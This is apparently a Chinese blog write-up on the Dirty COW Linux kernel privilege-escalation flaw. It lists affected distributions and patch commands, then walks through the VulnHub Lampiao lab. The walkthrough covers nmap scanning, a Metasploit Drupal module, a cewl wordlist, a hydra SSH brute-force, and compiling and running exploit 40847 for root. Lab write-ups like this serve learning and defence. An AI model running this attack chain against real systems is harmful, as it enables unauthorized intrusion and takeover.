0x00漏洞概述
脏牛(Dirty Cow)是Linux内核的一个提权漏洞,攻击者可以利用这个漏洞获取root权限。之所以叫Dirty Cow,因为这个漏洞利用了Linux的copy-on-write机制。其原理就是linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。并且在提权的时候,杀毒软件并不会检测到。
影响版本
Linux内核> = 2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。
受影响的镜像版本为:
CentOS 5.x 32位/64位
CentOS 6.x 32位/64位
CentOS 7.x 32位/64位
CoreOS 717.3.0 64位
Debian 6.x 32位(Debian官方已停止更新,建议使用Debian7、Debian8版本)
Debian 7.x 32位/64位
Debian 8.x 32位/64位
openSUSE 12.3 32位/64位
openSUSE 13.2 64位
SUSE Linux Enterprise Server 11 SP3 64位
SUSE Linux Enterprise Server 12 64位
Ubuntu Server 10.04.1 LTS 32位/64位(Ubuntu官方已停止更新,建议使用Ubuntu 14.04版本)
Ubuntu Server 12.04.1 LTS 32位/64位
Ubuntu Server 14.04.1 LTS 32位/64位
0x01修复方案
使用uname –a查看Linux系统的内核版本,如果在受影响版本:
- CentOS用户:由于CentOS系列官方尚未发布官方修复版本,待发布后请及时更新修复。
- Ubuntu用户:运行sudo apt-get update;sudo apt-get upgrade进行系统更新,更新后重启系统生效
- Debian用户:运行apt-get update;apt-get upgrade进行系统更新,更新后重启系统生效
- SUSE Linux Enterprise Server用户及OpenSUSE用户:openSUSE 13.2
64位官方暂未发布补丁,其他版本可运行zypper - refresh;zypper update kernel-default进行系统更新,更新后重启系统生效
- CoreOS用户:运行update_engine_client -update,更新后重启系统生效
0x02工具利用
g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
./40847
- -O2 表示编译器的优化选项,
- -std=c++11表示按照c++ 2011标准来编译,
- -pthread 是指利用到多线程时需要用到的库
- -o name 中name表示生成的文件的名字
0x03复现环境
前言
我先开始想再安装一个虚拟机,但是嫌麻烦,就去找了一个有这个漏洞的靶机
准备工作
在vulnhub官网下载lampiao靶机:https://www.vulnhub.com/entry/lampiao-1,249/
导入到vmware,设置成NAT模式就可以了
开始测试
先还是域内主机发现
nmap -sP 192.168.205.0/24
然后进行端口扫描
nmap -A 192.168.205.129 -p 1-65535
发现80端口开着,直接访问一下
发现没有什么可以利用的,但是发现1898端口还开着
我们可以来访问一下
熟悉的Drupal7框架
所以直接来查询一下这个框架的漏洞
我们来使用第四个命令执行的
需要设置ip地址和端口
set RHOSTS 192.168.205.129
set RPORT 1898
run
发现虽然能利用但是创造不了会话
所以再来扫一扫目录
发现存在robots.txt,访问后没啥有用的发现
所以我们还得想其他方法
简单点一点页面发现有个地方变成了node/1
依次改为node/2,node/3因为4之后是notfound了
发现2不运作,3提示有一个音频
我们在歌词中听到user is tiago
然后我们使用cewl利用网站的关键信息生成密码字典
cewl http://192.168.205.129:1898 -w password.txt
利用hydra对用户tiago密码进行爆破:
hydra -l tiago -P password.txt 192.168.205.129 ssh
得到账号密码
然后我们来ssh连上去看看
发现权限很低进不了root目录
优先考虑suid提权
其实感觉有几个是有机会提权的比如pppd
脏牛提权
但是我还是想利用脏牛提权直奔主题,既然知道这个靶机有脏牛提权
我们还是走一下流程,先看看内核版本
对比上面的图确实存在 所以我们直接把exp利用起来即可
先把提前下好在kali上的exp传到靶机上
scp kali@192.168.205.131:/home/kali/LA/40847.cpp /tmp
然后进行利用
g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
./40847
闯关成功
参考链接
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!